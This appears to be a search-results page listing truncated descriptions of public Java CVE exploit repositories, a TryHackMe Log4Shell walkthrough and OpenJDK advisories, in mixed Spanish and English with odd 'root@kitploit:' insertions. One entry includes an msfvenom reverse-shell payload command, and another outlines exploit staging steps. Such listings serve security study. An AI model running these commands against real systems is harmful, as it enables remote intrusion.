59770 matches found
x-stream__xstream_CVE-2013-7285_1-4-6
XStream root@kitploit: "Serialización Java a XML, y viceversa" -- Binarios ----------------------------------------------- Todos los artefactos binarios están en el directorio 'lib'. Estos incluyen los jars de xstream y cualquier otra biblioteca utilizada en tiempo de compilación, o extras...
undertow-io__undertow_CVE-2014-7816_1-0-16-Final
Undertow Undertow es un servidor web Java basado en IO no bloqueante. Se compone de varias partes diferentes: Un núcleo de servidor HTTP que soporta tanto IO bloqueante como no bloqueante. Una implementación de Servlet 3.1 Una implementación de WebSocket compatible con JSR-356 Sitio web:...
CVE-2024-23897
Usando el cliente La sintaxis general para invocar al cliente es la siguiente: java -jar jenkins-cli.jar -s JENKINSURL global options... command command options... arguments... info :- https://www.jenkins.io/doc/book/managing/cli/downloading-the-client CVE :-...
CVE-2020-8840
CVE-2020-8840 Entorno root@kitploit: jdk 8u161 windows10 1903 Procedimiento root@kitploit: 1.Crea un archivo java llamado Exploit.java con el código que quieras ejecutar y compílalo 2.Crea un servidor http usando python u otras herramientas en el mismo directorio del archivo de clase 3.Crea un...
VUL4J-23
Apache Sling Bringing Back the Fun! Apache Sling is a web framework that uses a Java Content Repository, such as Apache Jackrabbit, to store and manage content. Sling applications use either scripts or Java servlets, selected based on simple name conventions, to process HTTP requests in a RESTful...
CVE-2024-24919-Exploit
CVE202424919 Vulnerability Scanner This Java tool scans a list of IP addresses for the CVE-2024-24919 vulnerability. It attempts to exploit the vulnerability and provides options to print the response body data and change the target file directory. Table of Contents Usage Features Installation...
solar-exploiting-log4j
🔥 Solar Exploiting Log4j - TryHackMe Walkthrough 📌 Room: Solar Exploiting Log4j Platform: TryHackMe Difficulty: Medium Topic: Log4Shell Log4j Vulnerability 🧠 Objective Exploit the Log4j vulnerability CVE-2021-44228 to gain remote code execution and capture flags. 🛠️ Tools Used Nmap Burp Suite cURL...
CVE-2021-36981
CVE-2021-36981 Verinice.Pro 1.22.1 Deserialización insegura de Java de datos no confiables, que lleva a Ejecución Remota de Código usando el gadget C3P0 autenticado Código PoC para explotar la vulnerabilidad de deserialización. Ver...
CVE-2023-43208_Detection_PoC
CVE-2023-43208DetectionPoC Usar java.net.InetAddress para la detección root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964...
OESA-2026-3984 openjdk-17 security update
The OpenJDK runtime environment. Security Fixes: Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE component: Security. Supported versions that are affected are Oracle Java SE: 8u491, 8u491-perf, 11.0.31, 17.0.19, 21.0.11,...
OESA-2026-3905 openjdk-1.8.0 security update
The OpenJDK runtime environment 8. Security Fixes: Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE component: Security. Supported versions that are affected are Oracle Java SE: 8u491, 8u491-perf, 11.0.31, 17.0.19, 21.0.11,...
OESA-2026-3898 openjdk-11 security update
The OpenJDK runtime environment. Security Fixes: LIBPNG is a reference library for use in applications that read, create, and manipulate PNG Portable Network Graphics raster image files. In versions 1.6.36 through 1.6.55, an out-of-bounds read and write exists in libpng's ARM/AArch64 Neon-optimiz...
OESA-2026-3892 openjdk-latest security update
The OpenJDK runtime environment. Security Fixes: Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE component: Networking. Supported versions that are affected are Oracle Java SE: 8u451-perf, 11.0.27, 17.0.15, 21.0.7, 24.0.1;...
CVE-2014-0094
CVE-2014-0094 For verification. Refer to https://piyolog.hatenadiary.jp/entry/20140417/1397750197, vulhub/java:7u55-jdk tomcat-8.0.5 struts-2.3.16 reproduced. The classLoader is working, but the crucial log is percent-encoded, so it does not lead to RCE Windows version also added but only 7u191...
CVE-2025-24813
CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...
lua-ffi-libinjection
Name lua-resty-libinjection - LuaJIT FFI bindings for libinjection Status This library is in active development and is production ready Description This library provides FFI bindings for libinjection, a SQL/SQLi and XSS tokenizer and analyzer. Installation Install this library as you would any...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...
async-http-client-check
async-http-client-check Offline checker for the 21 repository-level security advisories oforg.asynchttpclient:async-http-client AsyncHttpClient, "AHC". It tells you which ones your jar is actually exposed to, flags the ones Dependabot and OSV cannot see , and gives one answer per line: 3.0.13 3.x...
Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228
Log4JExploitation-VulnerabiliyCVE-2021-44228. introduction A Remote Code Execution vulnerability has been found related to the Java logging library Log4j. CVE-2021-44228 This vulnerability has caused a stir in the global cyber community, since the Wannacry we have not seen such an impact. the...